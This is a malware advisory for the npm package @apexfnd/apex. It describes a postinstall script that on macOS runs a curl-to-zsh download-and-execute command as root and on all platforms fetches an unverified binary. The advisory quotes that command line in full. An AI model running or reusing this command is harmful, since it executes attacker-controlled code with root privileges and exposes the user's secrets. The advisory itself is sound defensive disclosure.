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Malicious MAL-2026-11121

@apexfnd/apex

npm package · versions 1.0.0, 1.0.1, 1.0.3, 1.0.4

Reported Jul 28, 2026 · Updated Aug 5, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1)
The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run `curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh` with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from `https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>`, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.